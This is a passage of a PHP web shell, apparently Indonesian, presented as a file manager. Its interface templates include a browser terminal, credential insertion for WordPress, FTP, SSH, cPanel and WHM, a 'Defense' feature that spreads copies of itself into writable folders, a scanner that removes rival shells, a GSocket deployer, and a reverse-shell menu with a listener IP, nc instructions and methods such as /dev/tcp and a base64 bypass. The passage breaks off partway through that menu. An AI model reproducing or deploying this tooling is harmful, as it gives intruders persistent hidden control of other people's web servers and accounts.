.x{width:26px;height:26px;border:0;background:none;color:var(--tx2);border-radius:4px;cursor:pointer;display:grid;place-items:center}
.x:hover{background:var(--line);color:var(--tx)}
.ed{width:100%;height:100%;min-height:300px;padding:11px;background:var(--bg);border:1px solid var(--line);border-radius:var(--r);font:12.5px/1.6 var(--mono);resize:none;outline:none;tab-size:4;white-space:pre;overflow:auto}
.ed:focus{border-color:var(--acc)}
.box.wide .box-b{padding:12px;display:flex}
.drop{border:1px dashed var(--line2);border-radius:6px;padding:26px 16px;text-align:center;cursor:pointer;transition:.12s}
.drop:hover,.drop.hot{border-color:var(--acc);background:var(--accs)}
.drop .ic{width:24px;height:24px;color:var(--tx2);margin-bottom:8px}
.ups{margin-top:12px;display:flex;flex-direction:column;gap:6px;max-height:180px;overflow:auto}
.up{display:flex;align-items:center;gap:8px;font-size:12px}
.up span{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.up b{font-family:var(--mono);font-weight:500}
.pv{display:grid;place-items:center;background:var(--bg);min-height:180px}
.pv img,.pv video{max-width:100%;max-height:72vh;display:block}
.pv iframe{width:100%;height:72vh;border:0;background:#fff}
.pv audio{width:100%}
.ctx{position:fixed;z-index:90;min-width:172px;padding:4px;background:var(--panel);border:1px solid var(--line2);border-radius:6px;box-shadow:var(--sh);display:none}
.ctx.on{display:block}
.ctx button{display:flex;align-items:center;gap:9px;width:100%;padding:6px 8px;border:0;background:none;border-radius:4px;cursor:pointer;font-size:12.5px;text-align:left}
.ctx button:hover{background:var(--panel2)}
.ctx button.del{color:var(--err)}
.ctx hr{border:0;border-top:1px solid var(--line);margin:4px 2px}
.ctx .ic{width:14px;height:14px;color:var(--tx2)}
.ctx button.del .ic{color:var(--err)}
.toasts{position:fixed;right:14px;bottom:14px;z-index:100;display:flex;flex-direction:column;gap:7px}
.toast{display:flex;align-items:center;gap:9px;padding:9px 12px;background:var(--panel);border:1px solid var(--line2);border-left:2px solid var(--acc);border-radius:var(--r);box-shadow:var(--sh);font-size:12.5px;max-width:300px}
.toast.ok{border-left-color:var(--ok)}.toast.ok .ic{color:var(--ok)}
.toast.err{border-left-color:var(--err)}.toast.err .ic{color:var(--err)}
.term{position:fixed;left:0;right:0;bottom:0;z-index:70;height:320px;display:none;flex-direction:column;background:var(--bg2);border-top:1px solid var(--line2);box-shadow:var(--sh)}
.term.on{display:flex}
.term-rz{height:4px;cursor:ns-resize;background:transparent;flex:none}
.term-rz:hover{background:var(--acc)}
.term-h{display:flex;align-items:center;gap:8px;padding:5px 12px 6px;border-bottom:1px solid var(--line);flex:none}
.term-h .ic{width:14px;height:14px;color:var(--tx2)}
.term-t{font-size:11px;text-transform:uppercase;letter-spacing:.08em;color:var(--tx2)}
.term-cwd{font-family:var(--mono);font-size:11.5px;color:var(--tx3);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;direction:rtl;max-width:44%}
.term-h button{width:24px;height:24px;border:0;background:none;color:var(--tx2);border-radius:3px;cursor:pointer;display:grid;place-items:center}
.term-h button:hover{background:var(--line);color:var(--tx)}
.term-b{flex:1;overflow:auto;padding:9px 12px;font:12.5px/1.55 var(--mono);white-space:pre-wrap;word-break:break-word}
.term-b .cl{color:var(--tx);margin-top:6px}
.term-b .cl:first-child{margin-top:0}
.term-b .cl i{color:var(--acc);font-style:normal;margin-right:7px}
.term-b .o{color:var(--tx2)}
.term-b .e{color:var(--err)}
.term-b .rc{color:var(--tx3);font-size:11.5px}
.term-b .rc.bad{color:var(--err)}
.term-i{display:flex;align-items:center;gap:8px;padding:7px 12px;border-top:1px solid var(--line);flex:none}
.term-i i{color:var(--acc);font-style:normal;font-family:var(--mono);font-size:12.5px}
.term-i input{flex:1;background:none;border:0;outline:none;font:12.5px/1.5 var(--mono);padding:0}
.term-i input::placeholder{color:var(--tx3)}
.term.busy .term-i i{color:var(--warn)}
.burger{display:none}
.ovl{display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:39}
.ovl.on{display:block}
@media(max-width:1000px){
.app{grid-template-columns:1fr}
.side{position:fixed;left:0;top:0;z-index:40;width:236px;transform:translateX(-100%);transition:transform .18s ease}
.side.on{transform:none}
.burger{display:grid}
.search{width:170px}
}
@media(max-width:900px){
.head,.item{grid-template-columns:28px minmax(0,1fr) 128px 88px 100px}
.md,.head .h-md{display:none}
}
@media(max-width:760px){
.head,.item{grid-template-columns:26px minmax(0,1fr) 84px 92px}
.pm,.head .h-pm{display:none}
.lnk small{display:block}
.top{padding:8px 10px;flex-wrap:wrap}
.search{width:100%;order:3}
.bar-tools,.sel-bar,.wrap{padding-left:10px;padding-right:10px}
.btn .lb{display:none}
.btn{padding:0 8px}
.btn.primary{padding:0 10px}
.btn.primary .lb{display:inline}
.ac{opacity:1}
.toasts{left:10px;right:10px;bottom:10px}
.toast{max-width:none}
.term{height:56vh}
.term-cwd{display:none}
}
@media(max-width:480px){
.head,.item{grid-template-columns:24px minmax(0,1fr) 76px}
.sz,.head .h-sz{display:none}
.items.grid{grid-template-columns:repeat(auto-fill,minmax(108px,1fr))}
.items.grid .head,.items.grid .item{grid-template-columns:none}
}
CSS;
}
?><!doctype html>
<html lang="id" data-theme="<?= e($theme) ?>">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<meta name="color-scheme" content="dark light">
<title><?= e($rel === '' ? 'Beranda' : basename($rel)) ?> · <?= e(FM_TITLE) ?></title>
<style><?= fm_css() ?></style>
</head>
<body>
<div class="app">
<aside class="side" id="side">
<div class="brand">
<div class="brand-logo"><?= ico('term') ?></div>
<div><b><?= e(FM_TITLE) ?></b><small>File Manager</small></div>
</div>
<div>
<div class="side-t">Navigasi</div>
<nav class="snav">
<a href="?p=" class="<?= $rel === '' ? 'on' : '' ?>"><?= ico('home') ?><span>Root</span></a>
<?php foreach ($crumbs as $i => $c): ?>
<a href="?p=<?= rawurlencode($c['rel']) ?>" class="<?= $c['rel'] === $rel ? 'on' : '' ?>" style="padding-left:<?= 10 + ($i + 1) * 12 ?>px"><?= ico('folder') ?><span><?= e($c['name']) ?></span></a>
<?php endforeach; ?>
</nav>
</div>
<div>
<div class="side-t">Ringkasan</div>
<div class="disk">
<div class="disk-h"><?= ico('disk') ?><span><?= $countDir ?> folder · <?= $countFile ?> berkas</span></div>
<div class="bar"><i style="width:<?= (int)$dPct ?>%"></i></div>
<div class="disk-f"><span><?= e(fm_size($dUsed)) ?> terpakai</span><span><?= e(fm_size($dFree)) ?> bebas</span></div>
</div>
</div>
<div class="side-foot">
<button class="btn ghost block" id="bgbtn" style="font-size:11.5px"><?= ico('image') ?> BG URL</button>
<button class="btn ghost block" id="scanbtn" style="font-size:11.5px"><?= ico('search') ?> Scanner</button>
<?php if (FM_PANEL): ?>
<button class="btn ghost block" id="panelbtn" style="font-size:11.5px"><?= ico('lock') ?> Panels</button>
<?php endif; ?>
<?php if (FM_DEF): ?>
<button class="btn ghost block" id="defbtn" style="font-size:11.5px"><?= ico('shield') ?> Defense</button>
<?php endif; ?>
<div class="who"><?= ico('user') ?><span><?= e(FM_USER) ?></span></div>
<form method="post">
<input type="hidden" name="action" value="logout">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<button class="btn block" type="submit"><?= ico('logout') ?> Keluar</button>
</form>
</div>
</aside>
<div class="ovl" id="ovl"></div>
<main class="main">
<header class="top">
<button class="btn icon ghost burger" id="burger" title="Menu"><?= ico('menu') ?></button>
<nav class="crumb">
<a href="?p=" class="<?= $rel === '' ? 'on' : '' ?>"><?= ico('home') ?> Root</a>
<?php foreach ($crumbs as $c): ?>
<span class="sep"><?= ico('chev') ?></span>
<a href="?p=<?= rawurlencode($c['rel']) ?>" class="<?= $c['rel'] === $rel ? 'on' : '' ?>"><?= e($c['name']) ?></a>
<?php endforeach; ?>
</nav>
<form class="search" method="get">
<?= ico('search') ?>
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input class="inp" type="search" name="q" id="q" value="<?= e($q) ?>" placeholder="Cari di folder ini..." autocomplete="off">
<?php if ($q !== ''): ?><a class="clr" href="?p=<?= rawurlencode($rel) ?>"><?= ico('x') ?></a><?php endif; ?>
</form>
<button class="btn icon ghost" id="vtoggle" title="Ubah tampilan (list/grid)"><?= ico($view === 'grid' ? 'list' : 'grid') ?></button>
<?php if ($shellOk): ?><button class="btn icon ghost" id="termbtn" title="Terminal (Ctrl+`)"><?= ico('term') ?></button><?php endif; ?>
<button class="btn icon ghost" id="revshellbtn" title="Reverse Shell"><?= ico('unbox') ?></button>
<button class="btn icon ghost" id="gsocketbtn" title="GSocket Deployer"><?= ico('box') ?></button>
<button class="btn icon ghost" id="ttoggle" title="Ubah tema"><?= ico($theme === 'dark' ? 'sun' : 'moon') ?></button>
</header>
<div class="bar-tools">
<button class="btn primary" id="b-up"><?= ico('upload') ?> <span class="lb">Unggah</span></button>
<button class="btn" id="b-dir"><?= ico('newdir') ?> <span class="lb">Folder Baru</span></button>
<button class="btn" id="b-file"><?= ico('newfile') ?> <span class="lb">Berkas Baru</span></button>
<?php if ($clipCount > 0): ?>
<form method="post" style="display:contents">
<input type="hidden" name="action" value="paste">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<button class="btn" type="submit"><?= ico('paste') ?> <span class="lb">Tempel (<?= $clipCount ?>)</span></button>
</form>
<?php endif; ?>
<div class="sp"></div>
<span class="muted" style="font-size:12.5px"><?= e(fm_size($totalSize)) ?></span>
<a class="btn icon ghost" href="?p=<?= rawurlencode($rel) ?>" title="Muat ulang"><?= ico('refresh') ?></a>
</div>
<div class="sel-bar" id="selbar">
<b id="selcount">0</b> <span>item dipilih</span>
<div class="sp"></div>
<button class="btn sm" data-bulk="copy"><?= ico('copy') ?> Salin</button>
<button class="btn sm" data-bulk="cut"><?= ico('cut') ?> Potong</button>
<?php if (FM_ZIP): ?><button class="btn sm" data-bulk="compress"><?= ico('box') ?> Arsipkan</button><?php endif; ?>
<button class="btn sm danger" data-bulk="delete"><?= ico('trash') ?> Hapus</button>
<button class="btn sm ghost" id="selclear"><?= ico('x') ?></button>
</div>
<div class="wrap">
<?php if ($q !== ''): ?>
<p class="muted" style="margin:0 0 14px">Hasil pencarian <b style="color:var(--tx)"><?= e($q) ?></b> — <?= count($items) ?> item<?= $truncated ? ' (dibatasi ' . FM_LIMIT . ')' : '' ?></p>
<?php endif; ?>
<div class="head<?= $view === 'grid' ? ' hide' : '' ?>" id="head">
<div class="sel"><input type="checkbox" id="all"></div>
<div><a href="<?= e(fm_sort_url('name', $sort, $order, $rel, $q)) ?>" class="<?= $sort === 'name' ? 'on' : '' ?>">Nama</a></div>
<div class="h-pm">Izin</div>
<div class="h-sz"><a href="<?= e(fm_sort_url('size', $sort, $order, $rel, $q)) ?>" class="<?= $sort === 'size' ? 'on' : '' ?>">Ukuran</a></div>
<div class="h-md"><a href="<?= e(fm_sort_url('date', $sort, $order, $rel, $q)) ?>" class="<?= $sort === 'date' ? 'on' : '' ?>">Diubah</a></div>
<div style="text-align:right">Aksi</div>
</div>
<?php if ($parent !== null && $q === ''): ?>
<div class="items" style="margin-bottom:2px">
<a class="item" href="?p=<?= rawurlencode($parent) ?>" style="cursor:pointer">
<div class="sel"></div>
<div class="nm"><span class="thumb-wrap k-dir"><?= ico('up') ?></span><span class="lnk"><b>..</b></span></div>
<div class="pm"></div><div class="sz"></div><div class="md"></div><div class="ac"></div>
</a>
</div>
<?php endif; ?>
<?php if (!$items): ?>
<div class="empty">
<?= ico('folder') ?>
<p><?= $q !== '' ? 'Tidak ada hasil' : 'Folder ini kosong' ?></p>
<span>Unggah berkas atau buat folder baru untuk memulai.</span>
</div>
<?php else: ?>
<div class="items <?= e($view) ?>" id="list">
<?php foreach ($items as $it):
$kind = $it['dir'] ? 'dir' : fm_kind($it['ext']);
$isImg = !$it['dir'] && $kind === 'image';
$canEdit = !$it['dir'] && fm_editable($it['ext'], $it['size']);
$canPv = $isImg || in_array($kind, ['video', 'audio'], true) || $it['ext'] === 'pdf';
$isZip = !$it['dir'] && $it['ext'] === 'zip';
$href = $it['dir'] ? '?p=' . rawurlencode($it['rel']) : '?a=view&f=' . rawurlencode($it['rel']);
$pstr = fm_perm_str($it['mode'], $it['link']);
$poct = fm_perm_oct($it['mode']);
$pcls = $it['write'] ? 'w' : 'r';
$ptip = ($it['write'] ? 'Dapat ditulis' : 'Hanya-baca') . ' · ' . $pstr . ' (' . $poct . ')';
?>
<div class="item" data-rel="<?= e($it['rel']) ?>" data-name="<?= e($it['name']) ?>" data-dir="<?= $it['dir'] ? 1 : 0 ?>" data-edit="<?= $canEdit ? 1 : 0 ?>" data-pv="<?= $canPv ? 1 : 0 ?>" data-zip="<?= $isZip ? 1 : 0 ?>" data-kind="<?= e($kind) ?>" data-href="<?= e($href) ?>">
<label class="sel"><input type="checkbox" class="ck"></label>
<div class="nm">
<span class="thumb-wrap k-<?= e($kind) ?>">
<?= ico($it['dir'] ? 'folder' : ($kind === 'file' ? 'file' : $kind)) ?>
<?php if ($isImg): ?><img alt="" loading="lazy" data-src="?a=view&f=<?= rawurlencode($it['rel']) ?>"><?php endif; ?>
</span>
<span class="lnk"><b title="<?= e($it['name']) ?>"><?= e($it['name']) ?></b><small><?= $it['dir'] ? 'Folder' : e(fm_size($it['size'])) ?></small></span>
</div>
<div class="pm <?= $pcls ?>" title="<?= $ptip ?>"><span class="dot"></span><span class="ps"><?= e($pstr) ?></span><span class="oc"><?= e($poct) ?></span></div>
<div class="sz"><?= $it['dir'] ? '—' : e(fm_size($it['size'])) ?></div>
<div class="md"><?= e(date('d M Y, H:i', $it['time'])) ?></div>
<div class="ac">
<?php if ($canEdit): ?><button data-do="edit" title="Edit"><?= ico('pencil') ?></button><?php endif; ?>
<?php if ($canPv): ?><button data-do="preview" title="Pratinjau"><?= ico('eye') ?></button><?php endif; ?>
<a href="?a=dl&f=<?= rawurlencode($it['rel']) ?>"><button title="Unduh"><?= ico('download') ?></button></a>
<button data-do="rename" title="Ubah nama"><?= ico('pencil') ?></button>
<button data-do="delete" class="del" title="Hapus"><?= ico('trash') ?></button>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</main>
</div>
<div class="dz" id="dz"><div class="dz-in"><?= ico('upload') ?><h3 style="margin:0 0 4px">Lepaskan untuk mengunggah</h3><p class="muted" style="margin:0">Berkas akan disimpan di folder saat ini</p></div></div>
<div class="modal" id="m-new">
<form class="box" method="post">
<div class="box-h"><h3 id="new-t">Folder Baru</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<input type="hidden" name="action" id="new-a" value="mkdir">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<label class="field"><span>Nama</span><input type="text" name="name" id="new-n" required autocomplete="off" spellcheck="false"></label>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Batal</button><button class="btn primary" type="submit">Buat</button></div>
</form>
</div>
<div class="modal" id="m-ren">
<form class="box" method="post">
<div class="box-h"><h3>Ubah Nama</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input type="hidden" name="src" id="ren-s">
<label class="field"><span>Nama baru</span><input type="text" name="name" id="ren-n" required autocomplete="off" spellcheck="false"></label>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Batal</button><button class="btn primary" type="submit">Simpan</button></div>
</form>
</div>
<div class="modal" id="m-del">
<form class="box" method="post">
<div class="box-h"><h3>Hapus Item</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input type="hidden" name="items" id="del-i">
<p style="margin:0 0 6px">Anda akan menghapus <b id="del-c">0</b> item secara permanen.</p>
<p class="muted" style="margin:0;font-size:13px">Folder akan dihapus beserta seluruh isinya. Tindakan ini tidak dapat dibatalkan.</p>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Batal</button><button class="btn danger" type="submit">Hapus</button></div>
</form>
</div>
<?php if (FM_ZIP): ?>
<div class="modal" id="m-zip">
<form class="box" method="post">
<div class="box-h"><h3>Buat Arsip ZIP</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<input type="hidden" name="action" value="compress">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input type="hidden" name="items" id="zip-i">
<label class="field"><span>Nama arsip</span><input type="text" name="name" id="zip-n" value="arsip-<?= date('Ymd-His') ?>.zip" required></label>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Batal</button><button class="btn primary" type="submit">Arsipkan</button></div>
</form>
</div>
<form method="post" id="f-ext" style="display:none">
<input type="hidden" name="action" value="extract">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input type="hidden" name="src" id="ext-s">
</form>
<?php endif; ?>
<form method="post" id="f-clip" style="display:none">
<input type="hidden" name="action" value="clip">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<input type="hidden" name="p" value="<?= e($rel) ?>">
<input type="hidden" name="mode" id="clip-m">
<input type="hidden" name="items" id="clip-i">
</form>
<div class="modal" id="m-upl">
<div class="box">
<div class="box-h"><h3>Unggah Berkas</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<div class="drop" id="drop"><?= ico('upload') ?><p style="margin:0 0 3px">Klik atau seret berkas ke sini</p><span class="muted" style="font-size:12.5px">Batas per berkas: <?= e(ini_get('upload_max_filesize')) ?></span></div>
<input type="file" id="fin" multiple hidden>
<div class="ups" id="ups"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<div class="modal" id="m-ed">
<div class="box wide">
<div class="box-h"><?= ico('pencil') ?><h3 id="ed-t">Editor</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b"><textarea class="ed" id="ed-c" spellcheck="false" wrap="off"></textarea></div>
<div class="box-f"><span class="muted" id="ed-s" style="margin-right:auto;font-size:12.5px"></span><button class="btn" type="button" data-close>Tutup</button><button class="btn primary" id="ed-save"><?= ico('save') ?> Simpan</button></div>
</div>
</div>
<div class="modal" id="m-pv">
<div class="box wide" style="height:auto">
<div class="box-h"><?= ico('eye') ?><h3 id="pv-t">Pratinjau</h3><a class="btn sm" id="pv-dl"><?= ico('download') ?> Unduh</a><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b pv" id="pv-b"></div>
</div>
</div>
<?php
$panelDetect = FM_PANEL ? fm_panel_detect() : [];
$panelData = FM_PANEL ? fm_panel_read() : [];
?>
<div class="modal" id="m-panel">
<div class="box">
<div class="box-h"><?= ico('lock') ?><h3>Panel Backup</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<p style="margin:0 0 12px;font-size:12.5px;color:var(--tx2)">Add user credentials untuk panel control.</p>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-bottom:12px">
<button class="btn primary" id="p-wp" data-panel="wordpress" style="opacity:<?= isset($panelDetect['wordpress']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['wordpress']) ? 'disabled' : '' ?>>🔐 WordPress</button>
<button class="btn primary" id="p-ftp" data-panel="ftp" style="opacity:<?= isset($panelDetect['ftp']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['ftp']) ? 'disabled' : '' ?>>📁 FTP</button>
<button class="btn primary" id="p-ssh" data-panel="ssh" style="opacity:<?= isset($panelDetect['ssh']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['ssh']) ? 'disabled' : '' ?>>🔑 SSH</button>
<button class="btn primary" id="p-cpanel" data-panel="cpanel" style="opacity:<?= isset($panelDetect['cpanel']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['cpanel']) ? 'disabled' : '' ?>>⚙️ cPanel</button>
<button class="btn primary" id="p-cyberpanel" data-panel="cyberpanel" style="opacity:<?= isset($panelDetect['cyberpanel']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['cyberpanel']) ? 'disabled' : '' ?>>🌐 CyberPanel</button>
<button class="btn primary" id="p-whm" data-panel="whm" style="opacity:<?= isset($panelDetect['cpanel']) ? '1' : '0.4' ?>" <?= !isset($panelDetect['cpanel']) ? 'disabled' : '' ?>>🖥️ WHM</button>
</div>
<div id="p-form-wrap" style="display:none;padding:12px;background:var(--panel2);border-radius:5px">
<div style="font-size:11.5px;margin-bottom:12px;color:var(--tx2)" id="p-form-title"></div>
<div id="p-form-fields"></div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px">
<button class="btn" id="p-cancel">Batal</button>
<button class="btn primary" id="p-save">Simpan</button>
</div>
<div id="p-msg" style="margin-top:8px;font-size:12px;display:none"></div>
</div>
<div id="p-list" style="margin-top:12px"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<div class="modal" id="m-bg">
<div class="box">
<div class="box-h"><?= ico('image') ?><h3>Background URL</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<p style="margin:0 0 10px;font-size:12.5px;color:var(--tx2)">Paste URL image untuk background. Auto-optimized untuk readability.</p>
<input type="text" id="bg-url" class="inp" placeholder="https://i.ibb.co.com/mskyL9g/eaaf0e08f4413e7d8c6d3c3a8563746c.jpg" style="width:100%;margin-bottom:10px">
<label style="display:flex;align-items:center;gap:8px;margin-bottom:10px;font-size:12.5px;cursor:pointer">
<input type="checkbox" id="bg-fullimg-check" style="width:16px;height:16px;cursor:pointer">
<span>Pakai Full Image (tanpa crop)</span>
</label>
<div id="bg-preview-wrap" style="display:none;margin-bottom:10px">
<small style="color:var(--tx3);display:block;margin-bottom:6px">Preview & Crop (drag area di preview):</small>
<div style="position:relative;width:100%;height:140px;border:2px solid var(--acc);border-radius:5px;overflow:hidden;background:#000;cursor:crosshair">
<img id="bg-preview-img" style="position:absolute;width:100%;height:100%;object-fit:cover;user-select:none;pointer-events:none">
<div id="bg-crop-overlay" style="position:absolute;inset:0;background:rgba(0,0,0,.4);pointer-events:none"></div>
<div id="bg-crop-box" style="position:absolute;border:3px solid var(--acc);display:none;background:rgba(79,151,232,.15);cursor:grab">
<div style="position:absolute;width:8px;height:8px;background:var(--acc);top:-4px;left:-4px;cursor:nwse-resize;border-radius:50%" data-crop="nw"></div>
<div style="position:absolute;width:8px;height:8px;background:var(--acc);top:-4px;right:-4px;cursor:nesw-resize;border-radius:50%" data-crop="ne"></div>
<div style="position:absolute;width:8px;height:8px;background:var(--acc);bottom:-4px;left:-4px;cursor:nesw-resize;border-radius:50%" data-crop="sw"></div>
<div style="position:absolute;width:8px;height:8px;background:var(--acc);bottom:-4px;right:-4px;cursor:nwse-resize;border-radius:50%" data-crop="se"></div>
</div>
</div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:6px;margin-top:6px">
<button class="btn sm" id="bg-crop-reset" style="width:100%"><?= ico('refresh') ?> Reset</button>
<button class="btn sm" id="bg-crop-fullimg" style="width:100%">100% Image</button>
</div>
</div>
<label class="field" style="margin-bottom:8px">
<span>Brightness</span>
<input type="range" id="bg-bright" min="80" max="120" value="100" style="width:100%;cursor:pointer">
<small id="bg-bright-val" style="color:var(--tx3)">100%</small>
</label>
<label class="field" style="margin-bottom:10px">
<span>Blur</span>
<input type="range" id="bg-blur" min="0" max="10" value="0" style="width:100%;cursor:pointer">
<small id="bg-blur-val" style="color:var(--tx3)">0px</small>
</label>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px">
<button class="btn primary" id="bg-set" style="width:100%"><?= ico('check') ?> Terapkan</button>
<button class="btn danger" id="bg-clr" style="width:100%"><?= ico('trash2') ?> Hapus</button>
</div>
<div id="bg-msg" style="margin-top:10px;font-size:12.5px;color:var(--tx2);display:none"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<?php if (FM_DEF): ?>
<div class="modal" id="m-def">
<div class="box">
<div class="box-h"><?= ico('shield') ?><h3>Defense System</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b" id="def-b">
<p style="margin:0 0 12px;font-size:12.5px;color:var(--tx2)">Sebarkan backup salinan ke folder writable untuk redundansi.</p>
<label class="field"><span>Jumlah backup</span><input type="number" id="def-cnt" min="1" max="20" value="5" class="inp" style="width:100%"></label>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px">
<button class="btn primary" id="def-sp" style="width:100%"><?= ico('copy') ?> Spread</button>
<button class="btn" id="def-ch" style="width:100%"><?= ico('check') ?> Cek</button>
<button class="btn" id="def-rs" style="width:100%"><?= ico('refresh') ?> Re-spread</button>
<button class="btn danger" id="def-cl" style="width:100%"><?= ico('trash2') ?> Bersihkan</button>
</div>
<div id="def-log" style="margin-top:12px;padding:10px;background:var(--bg);border:1px solid var(--line);border-radius:5px;font-size:12px;max-height:200px;overflow-y:auto;display:none;color:var(--tx2)"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<?php endif; ?>
<?php if ($shellOk): ?>
<div class="term" id="term">
<div class="term-rz" id="term-rz"></div>
<div class="term-h">
<?= ico('term') ?>
<span class="term-t">Terminal · <?= e($shellName) ?></span>
<span class="term-cwd" id="term-cwd">‎<?= e(FM_ROOT) ?></span>
<div class="sp" style="flex:1"></div>
<button id="term-clr" title="Bersihkan (Ctrl+L)"><?= ico('trash2') ?></button>
<button id="term-x" title="Tutup"><?= ico('x') ?></button>
</div>
<div class="term-b" id="term-b"></div>
<div class="term-i">
<i id="term-ps">$</i>
<input id="term-in" type="text" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" placeholder="ketik perintah, lalu Enter...">
</div>
</div>
<?php endif; ?>
<div class="modal" id="m-scan">
<div class="box">
<div class="box-h"><?= ico('search') ?><h3>Shell Scanner</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<p style="margin:0 0 12px;font-size:12.5px;color:var(--tx2)">🔍 Scan untuk mengdeteksi & menghapus hidden shells di semua folder.</p>
<button class="btn primary" id="scan-start" style="width:100%;margin-bottom:10px"><?= ico('search') ?> Mulai Scan</button>
<div id="scan-progress" style="display:none;padding:10px;background:var(--bg);border-radius:5px;margin-bottom:10px;text-align:center;font-size:12px;color:var(--tx2)">
🔄 Scanning...
</div>
<div id="scan-toolbar" style="display:none;margin-bottom:10px;padding:8px;background:var(--panel2);border-radius:5px;display:flex;justify-content:space-between;align-items:center;font-size:11.5px">
<label style="display:flex;align-items:center;gap:6px;cursor:pointer">
<input type="checkbox" id="scan-all" style="width:14px;height:14px;cursor:pointer">
<span id="scan-count">0 selected</span>
</label>
<button class="btn sm danger" id="scan-del" style="display:none">Hapus Terpilih</button>
</div>
<div id="scan-progress-container" style="display:none;margin-bottom:10px;padding:10px;background:var(--panel2);border-radius:5px">
<div style="display:flex;justify-content:space-between;margin-bottom:6px;font-size:11.5px">
<span id="scan-progress-text">Deleting...</span>
<span id="scan-progress-pct">0%</span>
</div>
<div style="height:6px;background:var(--line);border-radius:3px;overflow:hidden">
<div id="scan-progress-bar" style="height:100%;background:linear-gradient(90deg,var(--ok),var(--acc));width:0%;transition:width .2s ease"></div>
</div>
<div style="margin-top:6px;font-size:10px;color:var(--tx3)">
<span id="scan-progress-count">0 / 0</span> • <span id="scan-progress-time">~0s</span>
</div>
</div>
<div id="scan-logs" style="display:none;padding:8px;background:var(--bg);border:1px solid var(--line);border-radius:5px;max-height:200px;overflow-y:auto;font-size:10.5px;font-family:var(--mono);color:var(--tx3);margin-bottom:10px;line-height:1.4">
<!-- Live logs here -->
</div>
<div id="scan-results" style="display:none;padding:10px;background:var(--bg);border:1px solid var(--line);border-radius:5px;max-height:300px;overflow-y:auto;font-size:11.5px">
<!-- Results here -->
</div>
<div id="scan-msg" style="margin-top:10px;font-size:12px;display:none"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<div class="modal" id="m-revshell">
<div class="box">
<div class="box-h"><?= ico('unbox') ?><h3>Reverse Shell (10 Methods)</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<p style="margin:0 0 12px;font-size:12.5px;color:var(--tx2)">🚀 Multi-method reverse shell. Setup listener: <code style="background:var(--bg);padding:2px 6px;border-radius:3px">nc -lvnp PORT</code></p>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-bottom:12px">
<label class="field" style="margin:0"><span>Listener IP</span><input type="text" id="rs-ip" class="inp" placeholder="5.189.166.254" style="width:100%"></label>
<label class="field" style="margin:0"><span>Port</span><input type="number" id="rs-port" class="inp" value="4444" min="1" max="65535" style="width:100%"></label>
</div>
<label class="field" style="margin-bottom:12px">
<span>Method Selection</span>
<select id="rs-method" class="inp" style="width:100%">
<option value="all">🔥 All Methods (10 - Maximum Coverage)</option>
<option value="1">1️⃣ fsockopen+proc_open (Interactive)</option>
<option value="2">2️⃣ exec /dev/tcp (Simple Bash)</option>
<option value="3">3️⃣ fsockopen simple (Lightweight)</option>
<option value="4">4️⃣ socket_create (Native Sockets)</option>
<option value="5">5️⃣ popen (Process Pipe)</option>
<option value="6">6️⃣ proc_open stream (Stream)</option>
<option value="7">7️⃣ base64 bypass (Obfuscated)</option>
